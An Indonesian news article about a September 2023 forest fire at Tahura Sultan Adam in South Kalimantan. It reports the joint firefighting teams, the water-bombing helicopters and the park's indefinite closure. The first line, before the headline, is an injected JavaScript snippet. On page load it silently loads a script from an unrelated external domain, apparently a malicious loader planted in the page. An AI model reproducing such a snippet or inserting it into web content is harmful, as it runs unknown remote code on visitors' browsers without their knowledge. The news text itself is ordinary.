(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Kawasan wisata Taman Hutan Raya (Tahura) Sultan Adam menjadi prioritas pengamanan dari bahaya bencana kebakaran hutan dan lahan (Karhutla) di puncak musim kemarau saat ini.
Pasalnya api sudah mulai perlahan melahap Bukit Besar di Desa Mandiangin, Kecamatan Karang Intan, Kabupaten Banjar Kalimantan Selatan (Kalsel).
Diketahui api pertama kali muncul pada hari Senin (4/9/2023) sekitar pukul 11.00 Wita dan berhasil dipadamkan 10 jam kemudian atau sekitar pukul 21.00 Wita malam.
Baca juga: Wisata Tahura Sultan Adam Mandiangin Ditutup, Bukit Besar Terbakar
Sejumlah tim gabungn berjibaku tak hanya memadamkan api namun berupaya mengatur strategi agar api tak kembali melahap objek wisata itu.
Pemerintah Provinsi (Pemprov) Kalsel melalui Dinas Kehutanan (Dishut) Kalsel langsung mengerahkan sedikitnya 8 tim gabungan untuk mengantisipasi kejadian berulang.
Adapun tim gabungan terdiri dari Brigdalkarhutla Dishut dan Tahura, Polhut, TKPH, karyawan Dishut dan Satgas Tahura Sultan Adam, BPBD Kalsel dan BPBD kabupaten kota, Manggala Agni, Damkar hingga melibatkan seluruh Masyarakat Peduli Api (MPA).
Baca juga: Gegara Foto Prewedding Pakai Flare Kawasan Gunung Bromo Terbakar
“Kita juga menyiapkan suplai air dari beberapa mobil tangki milik Dinas PUPR dan Dinas Lingkungan Hidup serta dua helikopter water bombing milik BNPB dan Satgas Darat,” kata Kepala Dishut Kalsel, Fathimatuzzahra, Jumat (8/9/2023).
Hingga saat ini, pihaknya belum bisa memastikan berapa hektare luasan lahan hutan di kawasan Tahura Sultan Adam yang hangus dilahap api.
Meski begitu api diketahui tidak sampai ikut membakar fasilitas wisata yang ada di kawasan Tahura Sultan Adam.
Baca juga: Pertemuan Rutin Empat Bulanan PKK Se Kalsel di Amuntai
“Alhamdulillah dari kejadian karhutla tersebut tak sampai membakar fasilitas wisata yang ada di kawasan Tahura Sultan Adam” ungkapnya.
Adapun hasil dari evaluasi dari kejadian ini, jajaran pejabat Dishut dan Tahura langsung menutup kawasan wisata Tahura Sultan Adam Mandiangin untuk waktu yang belum ditentukan.
“Akibat kejadian Karhutla tersebut, kami langsung melakukan evaluasi bersama mengenai langkah apa yang akan dilakukan selanjutnya, namun untuk sementara kita lakukan penutupan kawasan untuk pengunjung hingga waktu yang tak ditentukan,” jelas dia.
Baca juga: Anak Perempuan Kelas 5 SD Tenggelam Meninggal Dunia di Sungai Tabuk
Penutupan ini dilakukan sekaligus untuk menghindari adanya korban dan untuk meningkatkan patroli kewaspadaan bahaya jika karhutla kembali terjadi.
Untuk mengantisipasi puncak musim kemarau ini juga patroli di daerah rawan, seperti kawasan hutan yang masih hijau akan terus ditingkatkan. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More
This website uses cookies.